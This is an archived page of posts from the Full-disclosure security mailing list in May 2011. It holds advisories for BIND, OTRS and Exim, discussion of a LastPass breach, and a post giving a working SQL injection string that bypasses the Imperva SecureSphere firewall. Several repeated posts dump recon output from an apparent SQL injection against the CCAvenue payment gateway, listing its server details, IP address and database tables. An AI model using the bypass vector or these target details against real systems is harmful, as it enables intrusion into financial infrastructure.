Re: [Full-disclosure] Lastpass Security Issue

2011-05-06 Thread Liam Randall
Ryan,

The blog post indicates severe security lapses; for example:

Why did the asterisks server have connectivity to the db?  If there was
some kind of mashup I would expect it to have limited connectivity but
I'm not aware of anything like that.

If these guys are in the business of security they need to go beyond
best practices- take PCI DSS for example; one of the first steps is to
limit the Cardholder Data Environment.  Different routed and filtered
subnets with internal firewalls.  I've got a million other suggestions,
but w/o further research or information it would be just guessing.

Where there is smoke...

That being said, lapses happen all the time.  I think they are handling
it the right way and being over cautious- no one wants to get the
notification of a compromise the other way.  I sincerely hope they use
this an opportunity to review their entire security lifecycle.

Policy -- Procedure -- Control -- Audit--Refinement

In a different regulatory environment they'd have to follow specific
security regimens and audit frequencies with statistically relevant
samples.

I'm sure the entire team over there is putting in 110%; good luck guys.

Liam

-Original Message-
From: full-disclosure-boun...@lists.grok.org.uk
[mailto:full-disclosure-boun...@lists.grok.org.uk] On Behalf Of Ryan
Sears
Sent: Thursday, May 05, 2011 6:39 AM
To: full-disclosure
Subject: [Full-disclosure] Lastpass Security Issue

Hey all,

Early this morning the folks over at LastPass decided to issue a warning
about a potential security issue based on the fact that they detected
some anomalies in their logs. 

http://blog.lastpass.com/2011/05/lastpass-security-notification.html

Basically the post outlines the fact that even though they've
investigated everything they can think of, they still noticed data
potentially being exfiltrated from one of their DBs, as more information
came out then was going in. Because of the fact they can't account for
the traffic from any legitimate source, they're being paranoid and
assuming the worst (that someone found a SQL injection presumably). 

Even though their passwords were all salted, they're still forcing
everyone to change their master password. Those using 2-factor are
relatively un-affected, although they have to change their master
passwords as well. 

This might leave some people who use lastpass in 'Re-enable account
hell', where they have their email password stored on lastpass, but
can't verify and login to lastpass without clicking an activation link
in their email. This can be solved by using one of the plugins in
offline mode with your old master password. I'm not sure why they didn't
mention it, but this has solved a lot of people's problems. 

All in all IMHO these guys take security quite seriously. They noticed
an anomaly, investigated and hours later posted something about it on
their blog. I'm not sure why no emails have been sent out, but there has
been speculation that it would have taken too long
(http://blog.lastpass.com/2011/05/lastpass-security-notification.html?sh
owComment=1304571300013#c1232708813079521918), which I don't really
agree with. That should've been their first step IMHO, and that's where
they fell on their face a bit with all this.

They DO put impressive security measures into place when something does
happen though, as seen in the XSS bug found. They implemented HSTS,
X-Frame-Options, CSP, which I've only seen used in super rare cases:

http://blog.lastpass.com/2011/02/cross-site-scripting-vulnerability.html

They're also implementing PBKDF2, so that makes me feel as though with
every security issue they're dealing with they don't just identify and
re-mediate, but actually restructure their infrastructure in order to
hedge against any potential future attack vectors. I personally see this
as the best response of any company I've ever seen from a security
standpoint.

Thoughts?

Ryan

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[Full-disclosure] DNS BIND Security Advisory: RRSIG Queries Can Trigger Server Crash When Using Response Policy Zones

2011-05-06 Thread Larissa Shapiro

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Note: https://www.isc.org/CVE-2011-1907 is the authoritative source
for this Security Advisory. Please check the source for any updates.

Summary: When a name server is configured with a response policy zone
(RPZ), queries for type RRSIG can trigger a server crash.

CVE: CVE-2011-1907
Posting date: 05 May 2011
Program Impacted: BIND
Versions affected: 9.8.0
Severity: High
Exploitable: remotely

Description: This advisory only affects BIND users who are using the
RPZ feature configured for RRset replacement. BIND 9.8.0 introduced
Response Policy Zones (RPZ), a mechanism for modifying DNS responses
returned by a recursive server according to a set of rules which are
either defined locally or imported from a reputation provider. In
typical configurations, RPZ is used to force NXDOMAIN responses for
untrusted names. It can also be used for RRset replacement, i.e.,
returning a positive answer defined by the response policy. When RPZ
is being used, a query of type RRSIG for a name configured for RRset
replacement will trigger an assertion failure and cause the name
server process to exit.

Workarounds: Install 9.8.0-P1 or higher.

Active exploits: None. However, some DNSSEC validators are known to
send type=RRSIG queries, innocently triggering the failure.

Solution: Use RPZ only for forcing NXDOMAIN responses and not for
RRset replacement.

CVSS Score: Base 6.1, adjusted for lack of targets, score is 1.5
(AV:N/AC:L/Au:N/C:N/I:N/A:C/E:P/RL:O/RC:C/TD:L)

For more information on the Common Vulnerability Scoring System and to
obtain your specific environmental score please visit:
http://nvd.nist.gov/cvss.cfm?calculatoradvversion=2

Thank you to Mitsuru Shimamura at Internet Initiative Japan for
finding this defect.

For more information on support and other services for ISC's software
products, please visit
https://www.isc.org/community/blog/201102/BIND-support

For more information about DNS RPZ, please check security advisory @
https://www.isc.org/CVE-2011-1907

Questions about this Security Advisory should be sent to the ISC
Security Officer security-offi...@isc.org.

- -- 
Larissa Shapiro
Internet Systems Consortium Product Manager
Technology Leadership for the Common Good
+1 650 423 1335
www.isc.org
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Re: [Full-disclosure] 0dayz on the 0day

2011-05-06 Thread Sherwyn
Was anyone able to test and validate this? 
Infolookup
http://infolookup.securegossip.com
www.twitter.com/infolookup


-Original Message-
From: Infant Overflow infant.overf...@gmail.com
Sender: full-disclosure-boun...@lists.grok.org.uk
Date: Thu, 5 May 2011 10:34:37 
To: full-disclosure@lists.grok.org.uk
Subject: [Full-disclosure] 0dayz on the 0day

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[Full-disclosure] Silently Pwning Protected-Mode IE9 and Innocent Windows Applications

2011-05-06 Thread Mitja Kolsek

Our advanced binary planting research goes on... and it's time to reveal some
interesting hacks, for instance how to exploit binary planting (or DLL 
hijacking, if
you prefer the less suitable term) to execute remote malicious code through 
Internet
Explorer 9 in protected mode on Windows 7 - without issuing any security 
warnings. Or
how to do the same in Internet Explorer 8 on Windows XP, only even more 
stealthy.

The crux is described in our blog post:

http://blog.acrossecurity.com/2011/05/silently-pwning-protected-mode-ie9-and.html
 or
http://bit.ly/im6LcD,

while the final missing link to the exploit will be revealed at the Hack in the 
box
conference in Amsterdam on May 19
(http://conference.hackinthebox.org/hitbsecconf2011ams/?page_id=1399), and 
shortly
thereafter to the rest of the world.

Our Guidelines for developers have already been updated for those who hate 
seeing
binary planting, DLL hijacking, DLL preloading or insecure library loading in 
their
software creations:

http://www.binaryplanting.com/guidelinesDevelopers.htm


Best regards,

Mitja Kolsek
CEOCTO

ACROS, d.o.o.
Makedonska ulica 113
SI - 2000 Maribor, Slovenia
tel: +386 2 3000 280
fax: +386 2 3000 282
web: http://www.acrossecurity.com

ACROS Security: Finding Your Digital Vulnerabilities Before Others Do
 


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[Full-disclosure] CCAvenue.com Payment Gateway Vulnerable SQL Injection UPDATE

2011-05-06 Thread d3hydr8 D
**
(+) Authors : d3hydr8
(+) WebSite : darkode.com
(+) Date : 06.05.2011
(+) Hour : 08:21 AM
(+) Targets : CCAvenue.com (Payment Gateway)
(+) Document: ESA.int Full Disclosure (UPDATED)
(+) Method : Hidden SQL Injection
**



[ + ] Date: Wed May 3 04:47:33 2011
[ + ] Displaying information about MSSQL host !

[ + ] @@VERSION : Microsoft SQL Server 2005 - 9.00.4035.00 (Intel X86)
 Nov 24 2008 13:01:59

 Copyright (c) 1988-2005 Microsoft Corporation
 Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

[ + ] USER () : iusr_ccavenueiusr_ccavenue
[ + ] S_USER () : iusr_ccavenue

[ + ] DB_NAME () : gateway
[ + ] HOST_NAME () : AV-2
[ + ] SERVER_NAME () : AVDB-3
[ + ] SERVER_TYPE () : Apache/2.2.14 (Unix) mod_ssl/2.2.3 
OpenSSL/0.9.8e-fips-rhel5 mod_jk/1.2.28
[ + ] X-POWERED-By () : Servlet 2.5; JBoss-5.0/JBossWeb-2.1

[ + ] IP_ADDRESS_INFO : 124.153.83.27
--

[ + ] Displaying list of databases on this MSSQL host !

[ DATABASE: 0 ] : gateway
[ DATABASE: 1 ] : master
[ DATABASE: 2 ] : tempdb
[ DATABASE: 3 ] : model
[ DATABASE: 4 ] : msdb
[ DATABASE: 5 ] : Reseller
-

[ DATABASE: 0 ] : gateway

[ + ] Displaying Tables inside DB:

[ TABLES: 0 ] : addl_merchant_details
[ TABLES: 1 ] : admin_details
[ TABLES: 2 ] : Admn_dept_roles
[ TABLES: 3 ] : Admn_depts
[ TABLES: 4 ] : Admn_prvlg_grps
[ TABLES: 5 ] : Admn_prvlgs

[ TABLES: 6 ] : Admn_role_prvlgs
[ TABLES: 7 ] : Admn_roles
[ TABLES: 8 ] : Admn_user_prvlgs
[ TABLES: 9 ] : Admn_users
[ TABLES: 10 ] : amex_cc_details
[ TABLES: 11 ] : AMEX_CCDETAILS

[ TABLES: 12 ] : amex_mer_details
[ TABLES: 13 ] : amtShopperCart
[ TABLES: 14 ] : amtShopperCart_MMT
[ TABLES: 15 ] : auctionPayment
[ TABLES: 16 ] : Auto_cancel

[ TABLES: 17 ] : Bop_bank
[ TABLES: 18 ] : callcenter_user_login_history
[ TABLES: 19 ] : ccav_default_charges
[ TABLES: 20 ] : Ccav_genid
[ TABLES: 21 ] : Ccav_links

[ TABLES: 22 ] : ccav_merchant_options
[ TABLES: 23 ] : ccav_payout_allocated_keys
[ TABLES: 24 ] : ccav_payout_credit_logs
[ TABLES: 25 ] : ccav_payout_credits
[ TABLES: 26 ] : ccav_payout_credits_realtime_

[ TABLES: 27 ] : ccav_payout_debits
[ TABLES: 28 ] : ccav_payout_debits_realtime_bkp
[ TABLES: 29 ] : ccav_payout_details
[ TABLES: 30 ] : ccav_payout_details_10MAY2010
[ TABLES: 31 ] : ccav_payout_details_10OCT2010

[ TABLES: 32 ] : ccav_payout_details_12AUG2010
[ TABLES: 33 ] : ccav_payout_details_temp
[ TABLES: 34 ] : ccav_payout_summaries_10MAY2010
[ TABLES: 35 ] : ccav_payout_summaries_10OCT2010

[ TABLES: 36 ] : ccav_payout_summaries_12AUG2010
[ TABLES: 37 ] : ccav_payout_summaries_temp
[ TABLES: 38 ] : ccav_pending_authorizations
[ TABLES: 39 ] : ccav_pending_authorizations_20100918

[ TABLES: 40 ] : ccav_pending_authorizations_20100924
[ TABLES: 41 ] : ccav_recon_sheets
[ TABLES: 42 ] : ccav_recon_sheets_20100918
[ TABLES: 43 ] : ccav_recon_sheets_20100924

[ TABLES: 44 ] : Ccav_sms_providers
[ TABLES: 45 ] : CCAV_tracking_ids
[ TABLES: 46 ] : CCAV_tracking_ids_20100918
[ TABLES: 47 ] : ccav_tracking_ids_20100924
[ TABLES: 48 ] : ccav_trans_status_logs

[ TABLES: 49 ] : CCAV_transactions
[ TABLES: 50 ] : CCAV_transactions_20100918
[ TABLES: 51 ] : ccav_transactions_20100924
[ TABLES: 52 ] : CCAV_transactions_logs
[ TABLES: 53 ] : CCAV_transactions_logs_20100918

[ TABLES: 54 ] : ccav_transactions_logs_20100924
[ TABLES: 55 ] : ccav_transactions_realtime_bkp
[ TABLES: 56 ] : ccavenue_scheduler_logs
[ TABLES: 57 ] : centurion_debit
[ TABLES: 58 ] : Chrc_contact_dets

[ TABLES: 59 ] : Chrc_contact_dets_20100918
[ TABLES: 60 ] : Chrc_feedback_dets
[ TABLES: 61 ] : Chrc_feedback_dets_20100918
[ TABLES: 62 ] : Chrc_reasons
[ TABLES: 63 ] : Chrc_reasons_20100918

[ TABLES: 64 ] : Chrc_srch_dets
[ TABLES: 65 ] : Chrc_srch_dets_20100918
[ TABLES: 66 ] : Citi_TxtLog_Child
[ TABLES: 67 ] : Citi_TxtLog_Parent
[ TABLES: 68 ] : citibank_cc_details

[ TABLES: 69 ] : citibank_log
[ TABLES: 70 ] : citibank_wkey
[ TABLES: 71 ] : COMMISSION
[ TABLES: 72 ] : Commission_log
[ TABLES: 73 ] : countries
[ TABLES: 74 ] : country

[ TABLES: 75 ] : country_ip
[ TABLES: 76 ] : cpa_20100924
[ TABLES: 77 ] : crs_20100924
[ TABLES: 78 ] : ct_20100918
[ TABLES: 79 ] : ct_20100924
[ TABLES: 80 ] : ct_20101005

[ TABLES: 81 ] : ctl_20100924
[ TABLES: 82 ] : custShopCart
[ TABLES: 83 ] : custShopCart_20100918
[ TABLES: 84 ] : custshopcart_20100924
[ TABLES: 85 ] : custShopperCart

[ TABLES: 86 ] : DB_SCHEMA
[ TABLES: 87 ] : Deprecated_Payment_Invoice
[ TABLES: 88 ] : Deprecated_Payment_Invoice_Logs
[ TABLES: 89 ] : Dr_Cr_Notes
[ TABLES: 90 ] : dtproperties

[ TABLES: 91 ] : dummy_shopper_details
[ TABLES: 

Re: [Full-disclosure] CCAvenue.com Payment Gateway Vulnerable SQL Injection UPDATE

2011-05-06 Thread Chris M
But the encrypted everything  right?

On Fri, May 6, 2011 at 5:33 PM, d3hydr8 D d3hy...@hotmail.com wrote:

  **
 (+) Authors : d3hydr8
 (+) WebSite : darkode.com
 (+) Date : 06.05.2011
 (+) Hour : 08:21 AM
 (+) Targets : CCAvenue.com (Payment Gateway)
 (+) Document: ESA.int Full Disclosure (UPDATED)
 (+) Method : Hidden SQL Injection
 **

 

 [ + ] Date: Wed May 3 04:47:33 2011
 [ + ] Displaying information about MSSQL host !

 [ + ] @@VERSION : Microsoft SQL Server 2005 - 9.00.4035.00 (Intel X86)
  Nov 24 2008 13:01:59

  Copyright (c) 1988-2005 Microsoft Corporation
  Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

 [ + ] USER () : iusr_ccavenueiusr_ccavenue
 [ + ] S_USER () : iusr_ccavenue

 [ + ] DB_NAME () : gateway
 [ + ] HOST_NAME () : AV-2
 [ + ] SERVER_NAME () : AVDB-3
 [ + ] SERVER_TYPE () : Apache/2.2.14 (Unix) mod_ssl/2.2.3 
 OpenSSL/0.9.8e-fips-rhel5 mod_jk/1.2.28
 [ + ] X-POWERED-By () : Servlet 2.5; JBoss-5.0/JBossWeb-2.1

 [ + ] IP_ADDRESS_INFO : 124.153.83.27
 --

 [ + ] Displaying list of databases on this MSSQL host !

 [ DATABASE: 0 ] : gateway
 [ DATABASE: 1 ] : master
 [ DATABASE: 2 ] : tempdb
 [ DATABASE: 3 ] : model
 [ DATABASE: 4 ] : msdb
 [ DATABASE: 5 ] : Reseller
 -

 [ DATABASE: 0 ] : gateway

 [ + ] Displaying Tables inside DB:

 [ TABLES: 0 ] : addl_merchant_details
 [ TABLES: 1 ] : admin_details
 [ TABLES: 2 ] : Admn_dept_roles
 [ TABLES: 3 ] : Admn_depts
 [ TABLES: 4 ] : Admn_prvlg_grps
 [ TABLES: 5 ] : Admn_prvlgs

 [ TABLES: 6 ] : Admn_role_prvlgs
 [ TABLES: 7 ] : Admn_roles
 [ TABLES: 8 ] : Admn_user_prvlgs
 [ TABLES: 9 ] : Admn_users
 [ TABLES: 10 ] : amex_cc_details
 [ TABLES: 11 ] : AMEX_CCDETAILS

 [ TABLES: 12 ] : amex_mer_details
 [ TABLES: 13 ] : amtShopperCart
 [ TABLES: 14 ] : amtShopperCart_MMT
 [ TABLES: 15 ] : auctionPayment
 [ TABLES: 16 ] : Auto_cancel

 [ TABLES: 17 ] : Bop_bank
 [ TABLES: 18 ] : callcenter_user_login_history
 [ TABLES: 19 ] : ccav_default_charges
 [ TABLES: 20 ] : Ccav_genid
 [ TABLES: 21 ] : Ccav_links

 [ TABLES: 22 ] : ccav_merchant_options
 [ TABLES: 23 ] : ccav_payout_allocated_keys
 [ TABLES: 24 ] : ccav_payout_credit_logs
 [ TABLES: 25 ] : ccav_payout_credits
 [ TABLES: 26 ] : ccav_payout_credits_realtime_

 [ TABLES: 27 ] : ccav_payout_debits
 [ TABLES: 28 ] : ccav_payout_debits_realtime_bkp
 [ TABLES: 29 ] : ccav_payout_details
 [ TABLES: 30 ] : ccav_payout_details_10MAY2010
 [ TABLES: 31 ] : ccav_payout_details_10OCT2010

 [ TABLES: 32 ] : ccav_payout_details_12AUG2010
 [ TABLES: 33 ] : ccav_payout_details_temp
 [ TABLES: 34 ] : ccav_payout_summaries_10MAY2010
 [ TABLES: 35 ] : ccav_payout_summaries_10OCT2010

 [ TABLES: 36 ] : ccav_payout_summaries_12AUG2010
 [ TABLES: 37 ] : ccav_payout_summaries_temp
 [ TABLES: 38 ] : ccav_pending_authorizations
 [ TABLES: 39 ] : ccav_pending_authorizations_20100918

 [ TABLES: 40 ] : ccav_pending_authorizations_20100924
 [ TABLES: 41 ] : ccav_recon_sheets
 [ TABLES: 42 ] : ccav_recon_sheets_20100918
 [ TABLES: 43 ] : ccav_recon_sheets_20100924

 [ TABLES: 44 ] : Ccav_sms_providers
 [ TABLES: 45 ] : CCAV_tracking_ids
 [ TABLES: 46 ] : CCAV_tracking_ids_20100918
 [ TABLES: 47 ] : ccav_tracking_ids_20100924
 [ TABLES: 48 ] : ccav_trans_status_logs

 [ TABLES: 49 ] : CCAV_transactions
 [ TABLES: 50 ] : CCAV_transactions_20100918
 [ TABLES: 51 ] : ccav_transactions_20100924
 [ TABLES: 52 ] : CCAV_transactions_logs
 [ TABLES: 53 ] : CCAV_transactions_logs_20100918

 [ TABLES: 54 ] : ccav_transactions_logs_20100924
 [ TABLES: 55 ] : ccav_transactions_realtime_bkp
 [ TABLES: 56 ] : ccavenue_scheduler_logs
 [ TABLES: 57 ] : centurion_debit
 [ TABLES: 58 ] : Chrc_contact_dets

 [ TABLES: 59 ] : Chrc_contact_dets_20100918
 [ TABLES: 60 ] : Chrc_feedback_dets
 [ TABLES: 61 ] : Chrc_feedback_dets_20100918
 [ TABLES: 62 ] : Chrc_reasons
 [ TABLES: 63 ] : Chrc_reasons_20100918

 [ TABLES: 64 ] : Chrc_srch_dets
 [ TABLES: 65 ] : Chrc_srch_dets_20100918
 [ TABLES: 66 ] : Citi_TxtLog_Child
 [ TABLES: 67 ] : Citi_TxtLog_Parent
 [ TABLES: 68 ] : citibank_cc_details

 [ TABLES: 69 ] : citibank_log
 [ TABLES: 70 ] : citibank_wkey
 [ TABLES: 71 ] : COMMISSION
 [ TABLES: 72 ] : Commission_log
 [ TABLES: 73 ] : countries
 [ TABLES: 74 ] : country

 [ TABLES: 75 ] : country_ip
 [ TABLES: 76 ] : cpa_20100924
 [ TABLES: 77 ] : crs_20100924
 [ TABLES: 78 ] : ct_20100918
 [ TABLES: 79 ] : ct_20100924
 [ TABLES: 80 ] : ct_20101005

 [ TABLES: 81 ] : ctl_20100924
 [ TABLES: 82 ] : custShopCart
 [ TABLES: 83 ] : custShopCart_20100918
 [ TABLES: 84 ] : custshopcart_20100924
 [ TABLES: 85 ] : 

Re: [Full-disclosure] CCAvenue.com Payment Gateway Vulnerable SQL Injection UPDATE

2011-05-06 Thread Kai

   adu_id adu_user adu_pwd adu_status dept_id remote_access 
 mobile_number
   . . .
   Acc1041 Risk Risk A Acc

 lol, definitely a risky guy


-- 
 Cheers,

 Kai

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[Full-disclosure] [SECURITY] [DSA 2231-1] otrs2 security update

2011-05-06 Thread Florian Weimer
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- -
Debian Security Advisory DSA-2231-1   secur...@debian.org
http://www.debian.org/security/Florian Weimer
June 6, 2011   http://www.debian.org/security/faq
- -

Package: otrs2
Vulnerability  : cross-site scripting
Problem type   : remote
Debian-specific: no
CVE ID : CVE-2011-1518

Multiple cross-site scripting vulnerabilities were discovered in Open
Ticket Request System (OTRS), a trouble-ticket system. (CVE-2011-1518)

In addition, this security update a failure when upgrading the package
from lenny to squeeze.

The oldstable distribution (lenny) is not affected by this problem.

For the stable distribution (squeeze), this problem has been fixed in
version 2.4.9+dfsg1-3+squeeze1.

For the unstable distribution (sid), this problem has been fixed in
version 2.4.10+dfsg1-1.

We recommend that you upgrade your otrs2 packages.

Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: http://www.debian.org/security/

Mailing list: debian-security-annou...@lists.debian.org
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[Full-disclosure] [SECURITY] [DSA 2232-1] exim4 security update

2011-05-06 Thread Florian Weimer
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- -
Debian Security Advisory DSA-2232-1   secur...@debian.org
http://www.debian.org/security/Florian Weimer
May 06, 2011   http://www.debian.org/security/faq
- -

Package: exim4
Vulnerability  : format string vulnerability
Problem type   : remote
Debian-specific: no
CVE ID : CVE-2011-1764
Debian Bug : 624670

It was discovered that Exim, the default mail transport agent in
Debian, uses DKIM data obtain from DNS directly in a format string,
potentially allowing malicious mail senders to execute arbitrary code.
(CVE-2011-1764)

The oldstable distribution (lenny) is not affected by this problem
because it does not contain DKIM support.

For the stable distribution (squeeze), this problem has been fixed in
version 4.72-6+squeeze1.

For the unstable distribution (sid), this problem has been fixed in
version 4.75-3.

We recommend that you upgrade your exim4 packages.

Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: http://www.debian.org/security/

Mailing list: debian-security-annou...@lists.debian.org
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[Full-disclosure] WTF

2011-05-06 Thread Gustavo
WTF ?

notebook:~$ ping www.compusa.com
PING bh.georedirector.akadns.net (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost.localdomain (127.0.0.1): icmp_req=1 ttl=64 time=0.019 ms

notebook:~$ ping www.tigerdirect.com
PING bh.georedirector.akadns.net (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost.localdomain (127.0.0.1): icmp_req=1 ttl=64 time=0.022 ms

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[Full-disclosure] Imperva SecureSphere - SQL injection filter bypass

2011-05-06 Thread piotr
===
Imperva SecureSphere - SQL injection filter bypass
===

Affected Software : SecureSphere Web Application Firewall (WAF)
Severity  : High
Local/Remote  : Remote
Author: @drk1wi

[Summary]

Due to a typo in one of the rules of the sql injection engine the WAF 
can be bypassed by appending a specially crafted string.

[Vulnerability Details]

the vector: 15 and '1'=(SELECT '1' FROM dual) and '0having'='0having' 
won't be classified as malicious and will bypass the SQL Injection 
filter.

'and '0having'='0having' is causing the bypass.

[Time-line]

8/07/2010 -  Vendor notified
10/07/2010 - Vendor response
12/08/2010 - Vendor patch release
06/05/2011 - Public disclosure (I was cleaning up my comp.)

[Fix Information]

Apply ADC Content Update from 12 - August - 2010

Cheers,
@drk1wi

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[Full-disclosure] CCAvenue Payment Gateway SQL Injection Vulnerability

2011-05-06 Thread iSpy Team
**
(+) Authors : i:Spy
(+) WebSite : ispyteam.com
(+) Date : 06.05.2011
(+) Hour : 08:21 AM
(+) Targets : CCAvenue.com (Payment Gateway)
(+) Document: ESA.int Full Disclosure (UPDATED)
(+) Method : Hidden SQL Injection
**



[ + ] Date: Wed May 3 04:47:33 2011
[ + ] Displaying information about MSSQL host !

[ + ] @@VERSION : Microsoft SQL Server 2005 - 9.00.4035.00 (Intel X86)
 Nov 24 2008 13:01:59

 Copyright (c) 1988-2005 Microsoft Corporation
 Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

[ + ] USER () : iusr_ccavenueiusr_ccavenue
[ + ] S_USER () : iusr_ccavenue

[ + ] DB_NAME () : gateway
[ + ] HOST_NAME () : AV-2
[ + ] SERVER_NAME () : AVDB-3
[ + ] SERVER_TYPE () : Apache/2.2.14 (Unix) mod_ssl/2.2.3
OpenSSL/0.9.8e-fips-rhel5 mod_jk/1.2.28
[ + ] X-POWERED-By () : Servlet 2.5; JBoss-5.0/JBossWeb-2.1

[ + ] IP_ADDRESS_INFO : 124.153.83.27
--

[ + ] Displaying list of databases on this MSSQL host !

[ DATABASE: 0 ] : gateway
[ DATABASE: 1 ] : master
[ DATABASE: 2 ] : tempdb
[ DATABASE: 3 ] : model
[ DATABASE: 4 ] : msdb
[ DATABASE: 5 ] : Reseller
-

[ DATABASE: 0 ] : gateway

[ + ] Displaying Tables inside DB:

[ TABLES: 0 ] : addl_merchant_details
[ TABLES: 1 ] : admin_details
[ TABLES: 2 ] : Admn_dept_roles
[ TABLES: 3 ] : Admn_depts
[ TABLES: 4 ] : Admn_prvlg_grps
[ TABLES: 5 ] : Admn_prvlgs

[ TABLES: 6 ] : Admn_role_prvlgs
[ TABLES: 7 ] : Admn_roles
[ TABLES: 8 ] : Admn_user_prvlgs
[ TABLES: 9 ] : Admn_users
[ TABLES: 10 ] : amex_cc_details
[ TABLES: 11 ] : AMEX_CCDETAILS

[ TABLES: 12 ] : amex_mer_details
[ TABLES: 13 ] : amtShopperCart
[ TABLES: 14 ] : amtShopperCart_MMT
[ TABLES: 15 ] : auctionPayment
[ TABLES: 16 ] : Auto_cancel

[ TABLES: 17 ] : Bop_bank
[ TABLES: 18 ] : callcenter_user_login_history
[ TABLES: 19 ] : ccav_default_charges
[ TABLES: 20 ] : Ccav_genid
[ TABLES: 21 ] : Ccav_links

[ TABLES: 22 ] : ccav_merchant_options
[ TABLES: 23 ] : ccav_payout_allocated_keys
[ TABLES: 24 ] : ccav_payout_credit_logs
[ TABLES: 25 ] : ccav_payout_credits
[ TABLES: 26 ] : ccav_payout_credits_realtime_

[ TABLES: 27 ] : ccav_payout_debits
[ TABLES: 28 ] : ccav_payout_debits_realtime_bkp
[ TABLES: 29 ] : ccav_payout_details
[ TABLES: 30 ] : ccav_payout_details_10MAY2010
[ TABLES: 31 ] : ccav_payout_details_10OCT2010

[ TABLES: 32 ] : ccav_payout_details_12AUG2010
[ TABLES: 33 ] : ccav_payout_details_temp
[ TABLES: 34 ] : ccav_payout_summaries_10MAY2010
[ TABLES: 35 ] : ccav_payout_summaries_10OCT2010

[ TABLES: 36 ] : ccav_payout_summaries_12AUG2010
[ TABLES: 37 ] : ccav_payout_summaries_temp
[ TABLES: 38 ] : ccav_pending_authorizations
[ TABLES: 39 ] : ccav_pending_authorizations_20100918

[ TABLES: 40 ] : ccav_pending_authorizations_20100924
[ TABLES: 41 ] : ccav_recon_sheets
[ TABLES: 42 ] : ccav_recon_sheets_20100918
[ TABLES: 43 ] : ccav_recon_sheets_20100924

[ TABLES: 44 ] : Ccav_sms_providers
[ TABLES: 45 ] : CCAV_tracking_ids
[ TABLES: 46 ] : CCAV_tracking_ids_20100918
[ TABLES: 47 ] : ccav_tracking_ids_20100924
[ TABLES: 48 ] : ccav_trans_status_logs

[ TABLES: 49 ] : CCAV_transactions
[ TABLES: 50 ] : CCAV_transactions_20100918
[ TABLES: 51 ] : ccav_transactions_20100924
[ TABLES: 52 ] : CCAV_transactions_logs
[ TABLES: 53 ] : CCAV_transactions_logs_20100918

[ TABLES: 54 ] : ccav_transactions_logs_20100924
[ TABLES: 55 ] : ccav_transactions_realtime_bkp
[ TABLES: 56 ] : ccavenue_scheduler_logs
[ TABLES: 57 ] : centurion_debit
[ TABLES: 58 ] : Chrc_contact_dets

[ TABLES: 59 ] : Chrc_contact_dets_20100918
[ TABLES: 60 ] : Chrc_feedback_dets
[ TABLES: 61 ] : Chrc_feedback_dets_20100918
[ TABLES: 62 ] : Chrc_reasons
[ TABLES: 63 ] : Chrc_reasons_20100918

[ TABLES: 64 ] : Chrc_srch_dets
[ TABLES: 65 ] : Chrc_srch_dets_20100918
[ TABLES: 66 ] : Citi_TxtLog_Child
[ TABLES: 67 ] : Citi_TxtLog_Parent
[ TABLES: 68 ] : citibank_cc_details

[ TABLES: 69 ] : citibank_log
[ TABLES: 70 ] : citibank_wkey
[ TABLES: 71 ] : COMMISSION
[ TABLES: 72 ] : Commission_log
[ TABLES: 73 ] : countries
[ TABLES: 74 ] : country

[ TABLES: 75 ] : country_ip
[ TABLES: 76 ] : cpa_20100924
[ TABLES: 77 ] : crs_20100924
[ TABLES: 78 ] : ct_20100918
[ TABLES: 79 ] : ct_20100924
[ TABLES: 80 ] : ct_20101005

[ TABLES: 81 ] : ctl_20100924
[ TABLES: 82 ] : custShopCart
[ TABLES: 83 ] : custShopCart_20100918
[ TABLES: 84 ] : custshopcart_20100924
[ TABLES: 85 ] : custShopperCart

[ TABLES: 86 ] : DB_SCHEMA
[ TABLES: 87 ] : Deprecated_Payment_Invoice
[ TABLES: 88 ] : Deprecated_Payment_Invoice_Logs
[ TABLES: 89 ] : Dr_Cr_Notes
[ TABLES: 90 ] : dtproperties

[ TABLES: 91 ] : dummy_shopper_details
[ TABLES: 92 

Re: [Full-disclosure] CCAvenue.com Payment Gateway Vulnerable SQL Injection UPDATE

2011-05-06 Thread Xa Buri
 [ + ] Date: Wed May 3 04:47:33 2011
...

 --

 Kindly disregard the previous report. I got the date all mixed up.


hah! You must be joking right! Also where exactly was the *hidden SQL 
injection you said??
Cmon! come out clean about the source... 

 Thanks, :)

 d3hydr8

  

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Re: [Full-disclosure] WTF

2011-05-06 Thread Nick Boyce
On Fri, May 6, 2011 at 6:49 PM, Gustavo gustavorober...@gmail.com wrote:

 WTF ?

 notebook:~$ ping www.compusa.com
 PING bh.georedirector.akadns.net (127.0.0.1) 56(84) bytes of data.
 64 bytes from localhost.localdomain (127.0.0.1): icmp_req=1
 ttl=64 time=0.019 ms

Same here ... this time on Windows :

F:\ping www.compusa.com

Pinging bh.georedirector.akadns.net [127.0.0.1] with 32 bytes of data:

Reply from 127.0.0.1: bytes=32 time1ms TTL=128
Reply from 127.0.0.1: bytes=32 time1ms TTL=128
Reply from 127.0.0.1: bytes=32 time1ms TTL=128
Reply from 127.0.0.1: bytes=32 time1ms TTL=128

Ping statistics for 127.0.0.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms

F:\nslookup www.compusa.com
Server:  
Address:  9

Non-authoritative answer:
Name:bh.georedirector.akadns.net
Address:  127.0.0.1
Aliases:  www.compusa.com, compusa.syx.com.akadns.net


Normally I'd say that's a DNS config screwup, which would make them
unreachable (since their website is not on my system).  However,
Google seems to be able to reach them if you use the site preview
option in the search results :
http://www.google.com/search?q=www.compusa.com

Curious.

Relevant: http://forums.opendns.com/comments.php?DiscussionID=9721

Nick
--
Leave the Olympics in Greece, where they belong.

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[Full-disclosure] CCAvenue.com Payment Gateway Vulnerable SQL Injection UPDATE

2011-05-06 Thread d3hydr8 D
**
(+) Authors : d3hydr8
(+) WebSite : darkode.com
(+) Date : 06.05.2011
(+) Hour : 08:21 AM
(+) Targets : CCAvenue.com (Payment Gateway)
(+) Document: ESA.int Full Disclosure (UPDATED)
(+) Method : Hidden SQL Injection
**



